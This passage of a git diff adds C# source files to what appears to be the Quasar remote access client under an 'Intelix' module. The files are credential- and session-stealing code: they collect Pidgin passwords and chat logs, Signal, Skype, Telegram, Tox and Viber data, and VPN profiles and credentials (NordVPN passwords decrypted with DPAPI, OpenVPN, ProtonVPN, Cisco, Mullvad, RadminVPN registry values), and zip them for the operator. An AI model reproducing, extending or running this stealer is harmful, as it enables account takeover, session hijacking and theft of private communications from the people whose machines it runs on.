return valueName + ": " + text; + } + try + { + string text2 = Encoding.UTF8.GetString(array).Replace("\0", ""); + if (!string.IsNullOrWhiteSpace(text2)) + { + return valueName + ": " + text2; + } + } + catch + { + } + return null; + } + string text3 = raw.ToString(); + if (string.IsNullOrWhiteSpace(text3)) + { + return null; + } + if (!HostnameRx.IsMatch(text3)) + { + MailAddressRx.IsMatch(text3); + } + return valueName + ": " + text3; + } + + private static string DecryptValue(byte[] encrypted) + { + if (encrypted == null || encrypted.Length <= 1) + { + return null; + } + try + { + byte[] array = new byte[encrypted.Length - 1]; + Buffer.BlockCopy(encrypted, 1, array, 0, array.Length); + byte[] array2 = DpApi.Decrypt(array); + if (array2 == null || array2.Length == 0) + { + return null; + } + return Encoding.UTF8.GetString(array2).TrimEnd(default(char)); + } + catch + { + return null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Pidgin.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Pidgin.cs new file mode 100755 index 0000000..2d5905d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Pidgin.cs @@ -0,0 +1,99 @@ +using System; +using System.IO; +using System.Text; +using System.Xml; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Pidgin : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), ".purple"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Pidgin"; + CollectAccounts(zip, text, counterApplications); + CollectLogs(zip, text, counterApplications); + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Pidgin\\"); + counter.Messangers.Add(counterApplications); + } + } + } + + private void CollectLogs(InMemoryZip zip, string pidginRoot, Counter.CounterApplications counterApplications) + { + try + { + string text = Path.Combine(pidginRoot, "logs"); + if (Directory.Exists(text)) + { + string text2 = Path.Combine("Pidgin", "chatlogs"); + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + } + } + catch + { + } + } + + private void CollectAccounts(InMemoryZip zip, string pidginRoot, Counter.CounterApplications counterApplications) + { + try + { + string text = Path.Combine(pidginRoot, "accounts.xml"); + if (!File.Exists(text)) + { + return; + } + StringBuilder stringBuilder = new StringBuilder(); + XmlDocument xmlDocument = new XmlDocument(); + using (XmlReader reader = XmlReader.Create(text, new XmlReaderSettings + { + IgnoreComments = true, + IgnoreWhitespace = true + })) + { + xmlDocument.Load(reader); + } + XmlElement documentElement = xmlDocument.DocumentElement; + if (documentElement == null) + { + return; + } + foreach (XmlNode childNode in documentElement.ChildNodes) + { + if (childNode.ChildNodes.Count >= 3) + { + XmlNode xmlNode2 = childNode.ChildNodes[0]; + XmlNode xmlNode3 = childNode.ChildNodes[1]; + XmlNode xmlNode4 = childNode.ChildNodes[2]; + string text2 = xmlNode2?.InnerText; + string text3 = xmlNode3?.InnerText; + string text4 = xmlNode4?.InnerText; + if (!string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3) && !string.IsNullOrEmpty(text4)) + { + stringBuilder.AppendLine("Protocol: " + text2); + stringBuilder.AppendLine("Username: " + text3); + stringBuilder.AppendLine("Password: " + text4); + stringBuilder.AppendLine(); + } + } + } + if (stringBuilder.Length != 0) + { + string text5 = Path.Combine("Pidgin", "accounts.txt"); + zip.AddTextFile(text5, stringBuilder.ToString()); + counterApplications.Files.Add(text + " => " + text5); + } + } + catch + { + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Signal.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Signal.cs new file mode 100755 index 0000000..9fd7c37 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Signal.cs @@ -0,0 +1,43 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Signal : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Signal"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Signal"; + string[] array = new string[4] { "databases", "Session Storage", "Local Storage", "sql" }; + foreach (string path in array) + { + string text2 = Path.Combine(text, path); + if (Directory.Exists(text2)) + { + string text3 = Path.Combine("Signal", path); + zip.AddDirectoryFiles(text2, text3); + counterApplications.Files.Add(text2 + " => " + text3); + } + } + string text4 = Path.Combine(text, "config.json"); + if (File.Exists(text4)) + { + string text5 = Path.Combine("Signal", "config.json"); + zip.AddFile(text5, File.ReadAllBytes(text4)); + counterApplications.Files.Add(text4 + " => " + text5); + counterApplications.Files.Add(text5); + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("Signal\\"); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Skype.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Skype.cs new file mode 100755 index 0000000..33fd174 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Skype.cs @@ -0,0 +1,24 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Skype : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "Skype for Desktop", "Local Storage"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Skype"; + string text2 = Path.Combine("Skype", "Local Storage"); + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counterApplications.Files.Add("Skype\\"); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Telegram.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Telegram.cs new file mode 100755 index 0000000..090797b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Telegram.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Telegram : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Telegram"; + Parallel.ForEach(FindAllMatches("tdata"), delegate(string tdata) + { + string targetPath = Path.GetFileName(tdata.Remove(tdata.Length - 6, 6)) + RandomStrings.GenerateHashTag(); + Copydata(tdata, targetPath, zip, counterApplications); + }); + if (counterApplications.Files.Count > 0) + { + counter.Messangers.Add(counterApplications); + } + } + + private void AddIfMatch(FileInfo fileInfo, string entryPath, InMemoryZip zip) + { + string name = fileInfo.Name; + if (name.EndsWith("s") && name.Length == 17) + { + zip.AddFile(entryPath, File.ReadAllBytes(fileInfo.FullName)); + } + else if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data") || name.StartsWith("configs") || name.StartsWith("maps")) + { + zip.AddFile(entryPath, File.ReadAllBytes(fileInfo.FullName)); + } + } + + private void Copydata(string sourceDir, string targetPath, InMemoryZip zip, Counter.CounterApplications counterApplications) + { + ConcurrentBag matchedNames = new ConcurrentBag(); + bool addedAny = false; + Parallel.ForEach(Directory.GetFiles(sourceDir), delegate(string filePath) + { + try + { + FileInfo fileInfo = new FileInfo(filePath); + if (fileInfo.Length <= 7120) + { + string entryPath = targetPath + "\\" + fileInfo.Name; + if (fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) + { + matchedNames.Add(fileInfo.Name); + } + _ = counterApplications.Files.Count; + AddIfMatch(fileInfo, entryPath, zip); + if ((fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) || fileInfo.Name.StartsWith("usertag") || fileInfo.Name.StartsWith("settings") || fileInfo.Name.StartsWith("key_data") || fileInfo.Name.StartsWith("configs") || fileInfo.Name.StartsWith("maps")) + { + addedAny = true; + } + } + } + catch + { + } + }); + Parallel.ForEach(matchedNames, delegate(string name) + { + try + { + string dirPath = Path.Combine(sourceDir, name); + dirPath = dirPath.Remove(dirPath.Length - 1); + if (Directory.Exists(dirPath)) + { + Parallel.ForEach(Directory.GetFiles(dirPath), delegate(string filePath) + { + try + { + FileInfo fileInfo = new FileInfo(filePath); + if (fileInfo.Length <= 7120) + { + string entryPath = targetPath + "\\" + Path.GetFileName(dirPath) + "\\" + fileInfo.Name; + AddIfMatch(fileInfo, entryPath, zip); + if ((fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) || fileInfo.Name.StartsWith("usertag") || fileInfo.Name.StartsWith("settings") || fileInfo.Name.StartsWith("key_data") || fileInfo.Name.StartsWith("configs") || fileInfo.Name.StartsWith("maps")) + { + addedAny = true; + } + } + } + catch + { + } + }); + } + } + catch + { + } + }); + if (addedAny) + { + counterApplications.Files.Add(sourceDir + " => " + targetPath); + } + } + + private List FindInAppData(string folderName) + { + if (string.IsNullOrEmpty(folderName)) + { + return new List(); + } + ConcurrentDictionary found = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + string[] array = new string[2] + { + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + }; + foreach (string text in array) + { + if (string.IsNullOrEmpty(text) || !Directory.Exists(text)) + { + continue; + } + try + { + Parallel.ForEach(Directory.EnumerateDirectories(text, "*", SearchOption.TopDirectoryOnly), delegate(string dir1) + { + try + { + string path = Path.Combine(dir1, folderName); + if (Directory.Exists(path)) + { + found.TryAdd(Path.GetFullPath(path), 0); + } + } + catch + { + } + }); + } + catch + { + } + } + return new List(found.Keys); + } + + private List FindAllMatches(string folderName) + { + ConcurrentDictionary set = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + Parallel.ForEach(ProcessWindows.FindFolder(folderName), delegate(string p) + { + set.TryAdd(p, 0); + }); + Parallel.ForEach(FindInAppData(folderName), delegate(string p) + { + set.TryAdd(p, 0); + }); + return new List(set.Keys); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Tox.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Tox.cs new file mode 100755 index 0000000..584d03c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Tox.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Tox : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Tox"); + if (Directory.Exists(text)) + { + string text2 = "Tox"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Tox"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Viber.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Viber.cs new file mode 100755 index 0000000..77a0d8b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Viber.cs @@ -0,0 +1,30 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Messangers; + +public class Viber : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ViberPC", "data"); + if (Directory.Exists(text)) + { + string entry = "Viber"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Viber"; + Array.ForEach(Directory.GetFiles(text), delegate(string file) + { + zip.AddFile(entry + "\\" + Path.GetFileName(file), File.ReadAllBytes(file)); + }); + Array.ForEach(Directory.GetDirectories(text), delegate(string dir) + { + zip.AddDirectoryFiles(dir, entry); + }); + counterApplications.Files.Add(text + " => " + entry); + counterApplications.Files.Add(entry); + counter.Messangers.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Cisco.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Cisco.cs new file mode 100755 index 0000000..c39fae9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Cisco.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class Cisco : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "Cisco", "Cisco AnyConnect Secure Mobility Client", "Profile"); + if (Directory.Exists(text)) + { + string text2 = "Cisco"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Cisco AnyConnect"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/CyberGhost.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/CyberGhost.cs new file mode 100755 index 0000000..2b2b082 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/CyberGhost.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class CyberGhost : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "CyberGhost"); + if (Directory.Exists(text)) + { + string text2 = "CyberGhost"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "CyberGhost"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/ExpressVPN.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/ExpressVPN.cs new file mode 100755 index 0000000..1124bb6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/ExpressVPN.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class ExpressVPN : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ExpressVPN"); + if (Directory.Exists(text)) + { + string text2 = "ExpressVPN"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "ExpressVPN"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Hamachi.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Hamachi.cs new file mode 100755 index 0000000..7642d00 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Hamachi.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class Hamachi : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "LogMeIn Hamachi"); + if (Directory.Exists(text)) + { + string text2 = "LogMeIn Hamachi"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "LogMeIn Hamachi"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/HideMyName.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/HideMyName.cs new file mode 100755 index 0000000..648637c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/HideMyName.cs @@ -0,0 +1,52 @@ +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class HideMyName : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Program Files\\hidemy.name VPN 2.0"; + if (!Directory.Exists(text)) + { + return; + } + string text2 = "HideMyName"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "HideMyName"; + if (File.Exists(text + "\\HideMyName")) + { + zip.AddFile(text2 + "\\HideMyName", File.ReadAllBytes(text + "\\HideMyName")); + counterApplications.Files.Add(text + "\\HideMyName => " + text2 + "\\HideMyName"); + } + if (File.Exists(text + "\\log-app.txt")) + { + zip.AddFile(text2 + "\\log-app.txt", File.ReadAllBytes(text + "\\log-app.txt")); + counterApplications.Files.Add(text + "\\log-app.txt => " + text2 + "\\log-app.txt"); + List list = new List(); + foreach (Match item in new Regex("code\\s+(\\d+)").Matches(File.ReadAllText(text + "\\log-app.txt"))) + { + if (item.Success) + { + string value = item.Groups[1].Value; + if (!list.Contains(value)) + { + list.Add(value); + } + } + } + if (list.Count() > 0) + { + zip.AddTextFile(text2 + "\\ActivatedCodes.txt", string.Join("\n", list)); + counterApplications.Files.Add(text + "\\log-app.txt => " + text2 + "\\ActivatedCodes.txt"); + } + } + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/IpVanish.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/IpVanish.cs new file mode 100755 index 0000000..5f86b7a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/IpVanish.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class IpVanish : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "IPVanish", "Settings"); + if (Directory.Exists(text)) + { + string text2 = "IPVanish"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "IPVanish"; + zip.AddDirectoryFiles(text, text2); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/MullVad.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/MullVad.cs new file mode 100755 index 0000000..9507dd9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/MullVad.cs @@ -0,0 +1,22 @@ +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class MullVad : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Program Files\\Mullvad VPN\\Configs\\Mullvad"; + if (File.Exists(text)) + { + string text2 = "Mullvad"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Mullvad"; + zip.AddFile(Path.Combine(text2, Path.GetFileName(text)), File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/NordVpn.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/NordVpn.cs new file mode 100755 index 0000000..cb47b5d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/NordVpn.cs @@ -0,0 +1,64 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Xml; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Vpn; + +public class NordVpn : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "NordVPN")); + if (!directoryInfo.Exists) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "NordVPN"; + try + { + DirectoryInfo[] directories = directoryInfo.GetDirectories("NordVpn.exe*"); + foreach (DirectoryInfo directoryInfo2 in directories) + { + List list = new List(); + DirectoryInfo[] directories2 = directoryInfo2.GetDirectories(); + for (int j = 0; j < directories2.Length; j++) + { + string text = Path.Combine(directories2[j].FullName, "user.config"); + if (File.Exists(text)) + { + XmlDocument xmlDocument = new XmlDocument(); + xmlDocument.Load(text); + string text2 = Decode(xmlDocument.SelectSingleNode("//setting[@name='Username']/value")?.InnerText); + string text3 = Decode(xmlDocument.SelectSingleNode("//setting[@name='Password']/value")?.InnerText); + if (!string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3)) + { + list.Add("Username: " + text2 + "\nPassword: " + text3); + } + } + } + if (list.Count > 0) + { + string entryPath = Path.Combine("NordVPN", directoryInfo2.Name, "accounts.txt"); + counterApplications.Files.Add(directoryInfo2.FullName + " => NordVPN\\"); + counterApplications.Files.Add("NordVPN\\"); + zip.AddTextFile(entryPath, string.Join("\n\n", list)); + } + } + } + catch + { + } + counterApplications.Files.Add("NordVPN\\"); + counter.Vpns.Add(counterApplications); + } + + private static string Decode(string s) + { + return Encoding.UTF8.GetString(DpApi.Decrypt(Convert.FromBase64String(s))) ?? ""; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/OpenVpn.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/OpenVpn.cs new file mode 100755 index 0000000..932ff42 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/OpenVpn.cs @@ -0,0 +1,37 @@ +using System; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class OpenVpn : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "OpenVPN Connect", "profiles"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "OpenVPN"; + Parallel.ForEach(Directory.GetFiles(text), delegate(string file) + { + try + { + if (!(Path.GetExtension(file) != ".ovpn")) + { + string entryPath = "OpenVpn\\" + Path.GetFileName(file); + zip.AddFile(entryPath, File.ReadAllBytes(file)); + } + } + catch + { + } + }); + counterApplications.Files.Add(text + " => OpenVpn"); + counterApplications.Files.Add("OpenVpn\\"); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/PIAVPN.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/PIAVPN.cs new file mode 100755 index 0000000..1b305aa --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/PIAVPN.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class PIAVPN : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "pia_manager"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "PIA"; + zip.AddDirectoryFiles(text, "PIAVPN"); + counterApplications.Files.Add(text + " => PIAVPN"); + counterApplications.Files.Add("PIAVPN\\"); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/ProtonVpn.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/ProtonVpn.cs new file mode 100755 index 0000000..325ba75 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/ProtonVpn.cs @@ -0,0 +1,50 @@ +using System; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class ProtonVpn : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "ProtonVPN"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "ProtonVPN"; + Parallel.ForEach(Directory.GetDirectories(text), delegate(string dir) + { + try + { + if (dir.Contains("ProtonVPN_")) + { + Parallel.ForEach(Directory.GetDirectories(dir), delegate(string version) + { + try + { + string path = Path.Combine(version, "user.config"); + if (File.Exists(path)) + { + string entryPath = "ProtonVpn\\" + Path.GetFileName(version) + "\\user.config"; + zip.AddFile(entryPath, File.ReadAllBytes(path)); + } + } + catch + { + } + }); + } + } + catch + { + } + }); + counterApplications.Files.Add(text + " => ProtonVpn"); + counterApplications.Files.Add("ProtonVpn\\"); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Proxifier.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Proxifier.cs new file mode 100755 index 0000000..f8aeb73 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Proxifier.cs @@ -0,0 +1,22 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class Proxifier : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Proxifier4", "Profiles"); + if (Directory.Exists(text)) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Proxifier"; + zip.AddDirectoryFiles(text, "Proxifier"); + counterApplications.Files.Add(text + " => Proxifier"); + counterApplications.Files.Add("Proxifier\\"); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/RadminVPN.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/RadminVPN.cs new file mode 100755 index 0000000..27d5376 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/RadminVPN.cs @@ -0,0 +1,45 @@ +using System.Collections.Generic; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Vpn; + +public class RadminVPN : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + List list = new List(); + using (RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key)); + } + using (RegistryKey key2 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key2)); + } + using (RegistryKey key3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Firewall", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key3)); + } + using (RegistryKey key4 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Proxy", writable: false)) + { + list.AddRange(RegistryParser.ParseKey(key4)); + } + if (list.Any()) + { + string text = "RadminVPN\\Registry.txt"; + zip.AddTextFile(text, string.Join("\n", list)); + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "RadminVPN"; + counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN => " + text); + counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0 => " + text); + counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Firewall => " + text); + counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Proxy => " + text); + counterApplications.Files.Add(text); + counterApplications.Files.Add("RadminVPN\\"); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/SoftEther.cs 